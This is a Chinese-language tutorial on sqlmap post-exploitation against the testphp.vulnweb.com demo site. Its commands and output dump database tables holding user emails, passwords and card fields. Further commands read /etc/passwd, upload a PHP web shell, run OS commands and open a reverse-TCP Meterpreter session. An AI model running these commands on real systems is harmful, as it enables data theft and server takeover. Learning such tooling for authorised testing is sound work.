使用sqlmap檢測完後發現類似以下訊息,表示有漏洞
[INFO] Parameter: "id" of type "integer" is vulnerable to boolean-based blind injection.
接著只要查看target.txt確認注入點,就可進行後滲透的工作,如下
/.local/share/sqlmap/output# cat testphp.vulnweb.com/target.txt
http://testphp.vulnweb.com/artists.php?artist=1 (GET)
/.local/share/sqlmap/output# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --privileg
取得基本信息
–current-db 查詢web目前使用的資料庫
–current-user 查詢web資料庫目前使用的帳號
–user 列出資料庫所有用戶
–privileg 檢視db權限
–passwords 列出資料庫用戶的hash密碼,並順便嘗試爆破取得明文
檢視db權限
#sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --privileg
...omit...
database management system users privileges:
[*] 'acuart'@'localhost' [1]:
privilege: USAGE
查詢資料庫所在位置
sqlmap -u target --sql-shell
sql-shell> select @@datadir
...omit...
select @@datadir: '/var/lib/mysql/'
...omit...
查看資料庫內容
–dbs 列出所有db名稱
–table 列出所有table名稱
–columns 列出所有欄位資料
-D 指定db, 若要指定多個, 則將db名稱以逗號分隔
-T 指定tables,若要指定多個, 則將table名稱以逗號分隔
-C 指定column,若要指定多個, 則將columns名稱以逗號分隔
–count 指定列出多少行資料
–dump 將所有資料輸出
列出所有db名稱
#sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs
...omit...
available databases [2]:
[*] acuart
[*] information_schema
列出資料庫acuart的所有table名稱
#sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --D acuart --tables
...omit…
Database: acuart
[8 tables]
+-----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |
+-----------+
列出資料庫acuart中資料表users的所有columns名稱
#sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --D acuart -T users --columns
...omit...
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column | Type |
+---------+--------------+
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
+---------+--------------+
列出資料庫acuart中資料表users的email欄位資料,並輸出成csv
#sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C email --dump
...
Database: acuart
Table: users
[1 entry]
+-------------------------+
| email |
+-------------------------+
| polola@dino.querumaself |
+-------------------------+
[22:35:53] [INFO] table 'acuart.users' dumped to CSV file '/root/.sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
檔案系統控制
讀取文件
參數 –file-read
sqlmap -r sql.txt --file-read=/etc/passwd
上傳文件
參數 –file-write 和–file-dest
sqlmap.py -r sql.txt --file-write=shell.php --file-dest=/var/www/html/shell.php
執行系統命令
執行指定命令
參數: –os-cmd ,一次只能執行一個命令
執行ls命令 sqlmap -r sql.txt --os-cmd ls
執行id命令
# sqlmap -r sql.txt -p item --os-cmd id
...omit...
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually
使用shell
模擬一個可以執行任意指令的 shell,就可以執行多個命令
參數: –os-shell
執行後會選擇程式語言與可寫入的位置
# sqlmap -r sql.txt --os-shell
...omit...
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4 # As my Target system web server supports PHP
...omit...
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
...omit...
[12:39:08] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
確認有可寫入的位置後就會上傳shell,並提供shell互動介面
使用第三方工具連線
參數: –os-pwn
# sqlmap -r sql.txt --os-pwn
...omit...
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
...omit...
which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
...omit...
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
如果剛剛選 Metasploit就會出現以下選擇
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1 # Reverse TCP is a good choice for establishing a connection
what is the local address? [Enter for '192.168.1.101' (detected)] # No need to change LHost, LPort
which local port number do you want to use? [47984]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
...omit...
meterpreter >
refer
http://iosec.in/sqlmap-4/
https://www.cybersecmastery.in/2022/12/operating-system-takeover-with-sqlmap.html
清除上次SQLmap的快取
方法1
刷新session文件
參數:–flush-session
如果不想用之前快取這個目標的session文件,可以使用這個參數。會清空之前的session,重新測試該目標。
方法2
忽略在會話文件中儲存的查詢結果
參數:–fresh-queries
方法3
直接刪除sqlmap output資料夾下的對應的目標目錄
位置通常在/home/kali/.local/share/sqlmap/output/<target>
該目錄下通常會有以下檔案:
- session.sqlite:sqlmap測試的結果都會保存在這個檔案裡
- log:sqlmap發現漏洞後下指令會做記錄
- target.txt:記錄原本sqlmap的檢測指令